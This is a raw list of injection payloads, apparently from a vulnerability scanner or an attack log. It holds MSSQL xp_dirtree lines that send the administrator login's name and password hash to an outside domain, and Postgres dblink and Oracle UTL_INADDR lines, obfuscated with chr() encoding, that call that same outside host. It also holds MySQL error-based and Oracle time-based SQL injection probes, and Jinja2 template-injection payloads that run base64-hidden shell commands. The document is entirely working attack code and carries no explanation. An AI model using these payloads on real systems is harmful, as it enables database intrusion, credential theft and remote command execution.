declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.xotzyxgiilwlaanbqetxjfi5hmb0tqg_vppsu7e7'+'hqm.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.xotzyxgiilx-kratxirtxb_6gbq0ynhs_nr4ecim'+'iqu.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(120)||chr(111)||chr(116)||chr(122)||chr(121)||chr(120)||chr(103)||chr(105)||chr(105)||chr(108)||chr(115)||chr(49)||chr(109)||chr(108)||chr(54)||chr(118)||chr(112)||chr(117)||chr(121)||chr(110)||chr(113)||chr(108)||chr(97)||chr(117)||chr(102)||chr(103)||chr(107)||chr(98)||chr(49)||chr(114)||chr(109)||chr(57)||chr(97)||chr(100)||chr(119)||chr(104)||chr(98)||chr(111)||chr(57)||chr(109)||chr(116)||chr(52)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(120)||chr(111)||chr(116)||chr(122)||chr(121)||chr(120)||chr(103)||chr(105)||chr(105)||chr(108)||chr(121)||chr(99)||chr(110)||chr(111)||chr(103)||chr(106)||chr(97)||chr(108)||chr(55)||chr(100)||chr(122)||chr(100)||chr(106)||chr(115)||chr(100)||chr(48)||chr(111)||chr(98)||chr(56)||chr(48)||chr(118)||chr(98)||chr(95)||chr(108)||chr(98)||chr(103)||chr(107)||chr(116)||chr(104)||chr(99)||chr(118)||chr(53)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
(select UTL_INADDR.GET_HOST_ADDRESS(chr(120)||chr(111)||chr(116)||chr(122)||chr(121)||chr(120)||chr(103)||chr(105)||chr(105)||chr(108)||chr(56)||chr(105)||chr(45)||chr(116)||chr(99)||chr(111)||chr(120)||chr(97)||chr(115)||chr(106)||chr(107)||chr(57)||chr(116)||chr(119)||chr(112)||chr(114)||chr(121)||chr(99)||chr(57)||chr(98)||chr(110)||chr(49)||chr(110)||chr(113)||chr(110)||chr(120)||chr(112)||chr(115)||chr(98)||chr(120)||chr(97)||chr(122)||chr(117)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
(select UTL_INADDR.GET_HOST_ADDRESS(chr(120)||chr(111)||chr(116)||chr(122)||chr(121)||chr(120)||chr(103)||chr(105)||chr(105)||chr(108)||chr(100)||chr(104)||chr(103)||chr(50)||chr(114)||chr(118)||chr(97)||chr(95)||chr(102)||chr(119)||chr(107)||chr(49)||chr(104)||chr(106)||chr(120)||chr(103)||chr(116)||chr(120)||chr(110)||chr(117)||chr(101)||chr(101)||chr(105)||chr(106)||chr(113)||chr(108)||chr(116)||chr(56)||chr(115)||chr(53)||chr(121)||chr(55)||chr(52)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(120)||chr(111)||chr(116)||chr(122)||chr(121)||chr(120)||chr(103)||chr(105)||chr(105)||chr(108)||chr(115)||chr(108)||chr(113)||chr(112)||chr(106)||chr(49)||chr(116)||chr(56)||chr(122)||chr(114)||chr(114)||chr(106)||chr(53)||chr(118)||chr(122)||chr(99)||chr(120)||chr(112)||chr(106)||chr(48)||chr(118)||chr(113)||chr(53)||chr(48)||chr(98)||chr(115)||chr(120)||chr(120)||chr(54)||chr(99)||chr(108)||chr(97)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(120)||chr(111)||chr(116)||chr(122)||chr(121)||chr(120)||chr(103)||chr(105)||chr(105)||chr(108)||chr(117)||chr(105)||chr(116)||chr(98)||chr(111)||chr(101)||chr(95)||chr(53)||chr(109)||chr(102)||chr(97)||chr(119)||chr(45)||chr(117)||chr(53)||chr(121)||chr(103)||chr(56)||chr(98)||chr(118)||chr(97)||chr(102)||chr(52)||chr(111)||chr(102)||chr(120)||chr(111)||chr(99)||chr(116)||chr(106)||chr(114)||chr(103)||chr(105)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(120)||chr(111)||chr(116)||chr(122)||chr(121)||chr(120)||chr(103)||chr(105)||chr(105)||chr(108)||chr(120)||chr(115)||chr(118)||chr(48)||chr(107)||chr(110)||chr(106)||chr(112)||chr(95)||chr(109)||chr(122)||chr(99)||chr(107)||chr(115)||chr(112)||chr(45)||chr(114)||chr(106)||chr(100)||chr(120)||chr(107)||chr(99)||chr(107)||chr(107)||chr(118)||chr(105)||chr(112)||chr(97)||chr(97)||chr(115)||chr(120)||chr(105)||chr(105)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(120)||chr(111)||chr(116)||chr(122)||chr(121)||chr(120)||chr(103)||chr(105)||chr(105)||chr(108)||chr(50)||chr(102)||chr(107)||chr(102)||chr(110)||chr(57)||chr(117)||chr(103)||chr(107)||chr(48)||chr(112)||chr(113)||chr(107)||chr(105)||chr(50)||chr(117)||chr(109)||chr(116)||chr(106)||chr(104)||chr(120)||chr(114)||chr(100)||chr(97)||chr(111)||chr(99)||chr(106)||chr(98)||chr(114)||chr(106)||chr(114)||chr(100)||chr(107)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZUc5MGVubDRaMmxwYkdSMGVYTm9ZV0p2Ym5Wa2RHOTBjREZ4WTNwNmMzSnNhelIxTW1KM1kyeGhNQzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZUc5MGVubDRaMmxwYkRsaGVWODFlSGRrYldsMloybGtaMlJxWVhOcmREUmtOWFZ1ZW1SakxUZHhhUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}